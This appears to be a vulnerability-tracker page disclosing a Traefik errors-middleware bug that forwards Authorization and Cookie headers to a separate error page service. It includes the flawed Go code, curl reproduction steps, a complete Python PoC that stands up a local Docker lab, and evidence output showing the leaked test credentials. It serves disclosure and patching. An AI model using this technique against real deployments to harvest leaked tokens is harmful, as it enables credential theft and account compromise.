Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
There is a medium severity information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.44
- https://github.com/traefik/traefik/releases/tag/v3.6.15
- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Description
Traefik v3.6.13's supported HTTP errors middleware discloses sensitive request headers to the configured error page service when the original backend response matches the configured status range and the middleware takes its default header-forwarding path. In the reproduced configuration, the business router audit-customerrors@docker pointed to backend service audit-backend, attached middleware audit-leak@docker, and the middleware was configured with errors.status=500-599, errors.service=audit-error, and errors.query=/collect. A request to the business route caused the backend to return 500, after which Traefik created a secondary request to the error service and copied the original Authorization and Cookie headers into that cross-service request.
This is a normal feature path on an ordinary HTTP route. It does not depend on api.insecure, the dashboard, pprof, or a debug-only mode. The confidentiality boundary that breaks here is the service boundary between the original backend chain and the separate error page service: credentials that were only meant for the original backend are automatically delivered to another service.
The root cause is in pkg/middlewares/customerrors/custom_errors.go:151-160:
if len(c.forwardNginxHeaders) > 0 {
utils.CopyHeaders(pageReq.Header, c.forwardNginxHeaders)
pageReq.Header.Set("X-Code", strconv.Itoa(code))
pageReq.Header.Set("X-Format", req.Header.Get("Accept"))
pageReq.Header.Set("X-Original-Uri", req.URL.RequestURI())
} else {
utils.CopyHeaders(pageReq.Header, req.Header)
}Unless the NginxHeaders branch is explicitly used, the middleware copies the entire original request header map into the error page request. The documentation at docs/content/reference/routing-configuration/http/middlewares/errorpages.md:103-107 only states that Host is forwarded by default, so operators are not warned that Authorization, Cookie, and other authentication material are forwarded as well.
Steps To Reproduce
- Deploy Traefik v3.6.13 with a normal business route that uses the supported
errorsmiddleware and pointserrors.serviceto a distinct service. The attached PoC usesBASE_URL = "http://127.0.0.1:28080",API_BASE_URL = "http://127.0.0.1:28180",ROUTER_PATH = "/audit-customerrors",AUTHORIZATION = "Bearer audit-secret-token", andCOOKIE = "sessionid=audit-cookie; theme=dark". - Start the two attached helper services
customerrors_backend.pyandcustomerrors_error.py. The backend listens on port8000and always returns500. The error service listens on port8000and returns the request method, path, and received headers as JSON. The PoC starts them with the router and middleware labels below so that the business request is handled by the backend, while the error page is fetched from the separate error service:
traefik.http.routers.audit-customerrors.rule=PathPrefix(`/audit-customerrors`)
traefik.http.routers.audit-customerrors.entrypoints=web
traefik.http.routers.audit-customerrors.priority=100
traefik.http.routers.audit-customerrors.service=audit-backend
traefik.http.routers.audit-customerrors.middlewares=audit-leak
traefik.http.services.audit-backend.loadbalancer.server.port=8000
traefik.http.middlewares.audit-leak.errors.status=500-599
traefik.http.middlewares.audit-leak.errors.service=audit-error
traefik.http.middlewares.audit-leak.errors.query=/collect- Confirm that Traefik has loaded the route and middleware. The attached
customerrors_router.jsonshows thataudit-customerrors@dockeruses middlewareaudit-leak@docker, and the attachedcustomerrors_middleware.jsonshows that the middleware is enabled withstatus500-599,serviceaudit-error, andquery/collect. - Send a request containing sensitive credentials through the business route. The manual reproduction used the following request, and the automated PoC sends the same header values:
curl -i \
-H 'Authorization: Bearer audit-secret-token' \
-H 'Cookie: sessionid=audit-cookie; theme=dark' \
http://127.0.0.1:28080/audit-customerrors- Observe that the backend returns
500, Traefik internally requests/collectfrom the error service, and the error service receives the originalAuthorizationandCookieheaders. The attachedmanual_curl_customerrors.txtresponse shows the leaked headers directly, and the attachedpoc_customerrors_header_leak.output.txtexecution log shows the same result from the automated PoC.
Recommendations
The default behavior should forward only the minimal context needed to render an error page instead of copying the full original header set with utils.CopyHeaders(pageReq.Header, req.Header). At minimum, Traefik should strip Authorization, Proxy-Authorization, Cookie, Set-Cookie, and common custom authentication headers such as X-Api-Key before issuing the error page request. If operators truly need additional headers, that behavior should be opt-in through an explicit allowlist rather than the default. The documentation should also describe the current behavior and warn that routing an error page to a separate service can otherwise disclose end-user credentials across service boundaries.
PoC
The main PoC attachment is poc_customerrors_header_leak.py.
import json
import os
import subprocess
import sys
import time
import urllib.error
import urllib.request
from pathlib import Path
TARGET = "traefik customErrors sensitive header leak"
BASE_URL = "http://127.0.0.1:28080"
API_BASE_URL = "http://127.0.0.1:28180"
TRAEFIK_CONTAINER = "traefik-openclaw"
NETWORK = ""
DOCKER_IMAGE = "python:3.12-alpine"
BACKEND_CONTAINER = "traefik-audit-backend"
ERROR_CONTAINER = "traefik-audit-error"
ROUTER_NAME = "audit-customerrors"
ROUTER_PATH = "/audit-customerrors"
AUTHORIZATION = "Bearer audit-secret-token"
COOKIE = "sessionid=audit-cookie; theme=dark"
TIMEOUT_SECONDS = 10
ROUTER_WAIT_SECONDS = 20
EVIDENCE_DIR = Path(__file__).resolve().parent
BACKEND_SCRIPT = EVIDENCE_DIR / "customerrors_backend.py"
ERROR_SCRIPT = EVIDENCE_DIR / "customerrors_error.py"
def run_command(command):
print(f"$ {' '.join(command)}")
completed = subprocess.run(command, capture_output=True, text=True, check=True)
stdout = completed.stdout.strip()
stderr = completed.stderr.strip()
if stdout:
print(stdout)
if stderr:
print(stderr)
return stdout
def remove_container(name):
subprocess.run(["docker", "rm", "-f", name], capture_output=True, text=True)
def detect_network():
if NETWORK:
return NETWORK
output = run_command(
["docker", "inspect", TRAEFIK_CONTAINER, "--format", "{{json .NetworkSettings.Networks}}"]
)
networks = json.loads(output)
network_names = sorted(networks.keys())
if not network_names:
raise RuntimeError("No docker network found for Traefik container")
return network_names[0]
def ensure_image():
run_command(["docker", "pull", DOCKER_IMAGE])
def start_error_container(network_name):
run_command(
[
"docker", "run", "-d", "--name", ERROR_CONTAINER,
"--network", network_name,
"-v", f"{ERROR_SCRIPT}:/srv/error.py:ro",
"-l", "traefik.enable=true",
"-l", f"traefik.docker.network={network_name}",
"-l", "traefik.http.services.audit-error.loadbalancer.server.port=8000",
DOCKER_IMAGE, "python", "/srv/error.py",
]
)
def start_backend_container(network_name):
run_command(
[
"docker", "run", "-d", "--name", BACKEND_CONTAINER,
"--network", network_name,
"-v", f"{BACKEND_SCRIPT}:/srv/backend.py:ro",
"-l", "traefik.enable=true",
"-l", f"traefik.docker.network={network_name}",
"-l", f"traefik.http.routers.{ROUTER_NAME}.rule=PathPrefix(`{ROUTER_PATH}`)",
"-l", f"traefik.http.routers.{ROUTER_NAME}.entrypoints=web",
"-l", f"traefik.http.routers.{ROUTER_NAME}.priority=100",
"-l", f"traefik.http.routers.{ROUTER_NAME}.service=audit-backend",
"-l", f"traefik.http.routers.{ROUTER_NAME}.middlewares=audit-leak",
"-l", "traefik.http.services.audit-backend.loadbalancer.server.port=8000",
"-l", "traefik.http.middlewares.audit-leak.errors.status=500-599",
"-l", "traefik.http.middlewares.audit-leak.errors.service=audit-error",
"-l", "traefik.http.middlewares.audit-leak.errors.query=/collect",
DOCKER_IMAGE, "python", "/srv/backend.py",
]
)
def fetch_json(url, headers=None):
request = urllib.request.Request(url, headers=headers or {}, method="GET")
try:
response = urllib.request.urlopen(request, timeout=TIMEOUT_SECONDS)
except urllib.error.HTTPError as exc:
response = exc
with response:
return json.loads(response.read().decode())
def wait_for_router():
deadline = time.time() + ROUTER_WAIT_SECONDS
while time.time() < deadline:
try:
data = fetch_json(f"{API_BASE_URL}/api/rawdata")
if f"{ROUTER_NAME}@docker" in data.get("routers", {}):
return data
except Exception:
pass
time.sleep(1)
raise RuntimeError("Timed out waiting for router")
def trigger_request():
headers = {
"Authorization": AUTHORIZATION,
"Cookie": COOKIE,
}
return fetch_json(f"{BASE_URL}{ROUTER_PATH}", headers=headers)
def validate(response_json):
leaked_headers = response_json.get("headers", {})
leaked_auth = leaked_headers.get("Authorization")
leaked_cookie = leaked_headers.get("Cookie")
print("Response JSON:")
print(json.dumps(response_json, indent=2, sort_keys=True))
if leaked_auth != AUTHORIZATION:
raise RuntimeError(f"Authorization not leaked as expected, got: {leaked_auth!r}")
if leaked_cookie != COOKIE:
raise RuntimeError(f"Cookie not leaked as expected, got: {leaked_cookie!r}")
print("Validation result: error page service received the original Authorization and Cookie.")
def main():
print(f"TARGET={TARGET}")
network_name = detect_network()
print(f"Using docker network: {network_name}")
remove_container(BACKEND_CONTAINER)
remove_container(ERROR_CONTAINER)
try:
ensure_image()
start_error_container(network_name)
start_backend_container(network_name)
wait_for_router()
response_json = trigger_request()
validate(response_json)
finally:
remove_container(BACKEND_CONTAINER)
remove_container(ERROR_CONTAINER)
print("Cleaned up temporary containers.")
if __name__ == "__main__":
try:
main()
except subprocess.CalledProcessError as exc:
if exc.stdout:
print(exc.stdout)
if exc.stderr:
print(exc.stderr, file=sys.stderr)
raiseSupporting backend helper used by the PoC, from customerrors_backend.py:
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(500)
self.send_header("Content-Type", "text/plain; charset=utf-8")
self.end_headers()
self.wfile.write(b"backend forced 500\n")
def log_message(self, format, *args):
return
def main():
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
if __name__ == "__main__":
main()Supporting error service helper used by the PoC, from customerrors_error.py:
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
body = json.dumps(
{
"method": self.command,
"path": self.path,
"headers": {key: value for key, value in self.headers.items()},
},
indent=2,
sort_keys=True,
).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, format, *args):
return
def main():
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
if __name__ == "__main__":
main()Evidence Files
customerrors_middleware.json proves that the active middleware is the supported errors middleware and that it was configured with status 500-599, service audit-error, and query /collect.
{
"errors": {
"status": [
"500-599"
],
"service": "audit-error",
"query": "/collect"
},
"status": "enabled",
"usedBy": [
"audit-customerrors@docker"
],
"name": "audit-leak@docker",
"provider": "docker",
"type": "errors"
}customerrors_router.json proves that the business router audit-customerrors@docker was enabled on the web entrypoint, routed to audit-backend, and used middleware audit-leak@docker.
{
"entryPoints": [
"web"
],
"middlewares": [
"audit-leak@docker"
],
"service": "audit-backend",
"rule": "PathPrefix(`/audit-customerrors`)",
"priority": 100,
"observability": {
"accessLogs": true,
"metrics": true,
"tracing": true,
"traceVerbosity": "minimal"
},
"status": "enabled",
"using": [
"web"
],
"name": "audit-customerrors@docker",
"provider": "docker",
"priorityStr": "100"
}manual_curl_customerrors.txt proves that a direct request through Traefik caused the separate error service to receive the original Authorization and Cookie values.
HTTP/1.1 500 Internal Server Error
Content-Length: 461
Content-Type: application/json; charset=utf-8
Date: Mon, 13 Apr 2026 13:09:58 GMT
Server: BaseHTTP/0.6 Python/3.12.13
{
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip",
"Authorization": "Bearer audit-secret-token",
"Cookie": "sessionid=audit-cookie; theme=dark",
"Host": "127.0.0.1:28080",
"User-Agent": "curl/8.7.1",
"X-Forwarded-Host": "127.0.0.1:28080",
"X-Forwarded-Port": "28080",
"X-Forwarded-Proto": "http",
"X-Forwarded-Server": "c231be677a1b",
"X-Real-Ip": "172.19.0.1"
},
"method": "GET",
"path": "/collect"
}poc_customerrors_header_leak.output.txt is the automated execution log for the Python PoC. The source material provided the following excerpt from that output, which shows the same credential disclosure and the PoC's validation result.
Response JSON:
{
"headers": {
"Accept-Encoding": "identity",
"Authorization": "Bearer audit-secret-token",
"Cookie": "sessionid=audit-cookie; theme=dark",
"Host": "127.0.0.1:28080",
"User-Agent": "Python-urllib/3.14",
"X-Forwarded-Host": "127.0.0.1:28080",
"X-Forwarded-Port": "28080",
"X-Forwarded-Proto": "http",
"X-Forwarded-Server": "c231be677a1b",
"X-Real-Ip": "172.19.0.1"
},
"method": "GET",
"path": "/collect"
}
Validation result: error page service received the original Authorization and Cookie.Impact
Any deployment that uses the supported errors middleware with a separate error page service can silently copy end-user credentials to that second service whenever the configured error status range is triggered. In practice, this means bearer tokens, session cookies, and other custom authentication headers can be disclosed to infrastructure that was never meant to receive them. If the error service is maintained by a different team, shared across tenants, hosted by a third party, or simply logged more broadly than the primary application service, this expands the exposure of valid credentials and can enable unauthorized API access or account compromise depending on what the leaked tokens authorize.
</details>
AnalysisAI
Traefik's errors middleware discloses sensitive HTTP headers including Authorization and Cookie to separate error page services when backends return configured error status codes. Affected versions are Traefik v2.11.43 and earlier, v3.6.14 and earlier, and v3.7.0-rc.0 through v3.7.0-rc.2. The vulnerability allows credentials meant only for backend services to be forwarded to distinct error page infrastructure, expanding exposure across service boundaries. Vendor-released patches are available; actively exploited status not confirmed.
Technical ContextAI
Traefik is an HTTP reverse proxy and load balancer written in Go. The errors middleware implements custom error page handling by intercepting responses matching a configured status range and issuing a secondary HTTP request to a separate error service to fetch a custom error page. The vulnerability exists in the default header-forwarding behavior of pkg/middlewares/customerrors/custom_errors.go lines 151-160, where the middleware copies the entire original request header map (req.Header) into the error page request without filtering. This includes Authorization, Cookie, Proxy-Authorization, and other authentication headers. The root cause is CWE-201 (Information Exposure Through an Error Message), specifically the unintended leakage of sensitive request context across service boundaries. The affected Go packages are github.com/traefik/traefik/v2 and github.com/traefik/traefik/v3, deployed as containerized reverse proxies in Docker and Kubernetes environments.
RemediationAI
Upgrade to Traefik v2.11.44, v3.6.15, or v3.7.0-rc.3 or later, which implement the errorRequestHeaders option to control which headers are forwarded to error page services. For deployments unable to upgrade immediately, implement network-level compensating controls: restrict outbound connectivity from the error page service to only the Traefik proxy (block error service from accessing downstream APIs), or route error pages through a filtering reverse proxy that strips Authorization, Cookie, Proxy-Authorization, and custom authentication headers before forwarding to the error page service. Alternatively, reconfigure error page services to run on the same backend service instance as the primary application (eliminating the cross-service boundary), though this may reduce architectural flexibility. Review existing error middleware configurations via the Traefik API endpoint /api/rawdata to identify which routes use distinct error services, prioritizing those with error services accessible to untrusted teams or third parties. The patched versions default to forwarding only minimal context and provide explicit allowlists for operators who require additional headers.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same technique Information Disclosure
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-30557
GHSA-p6hg-qh38-555r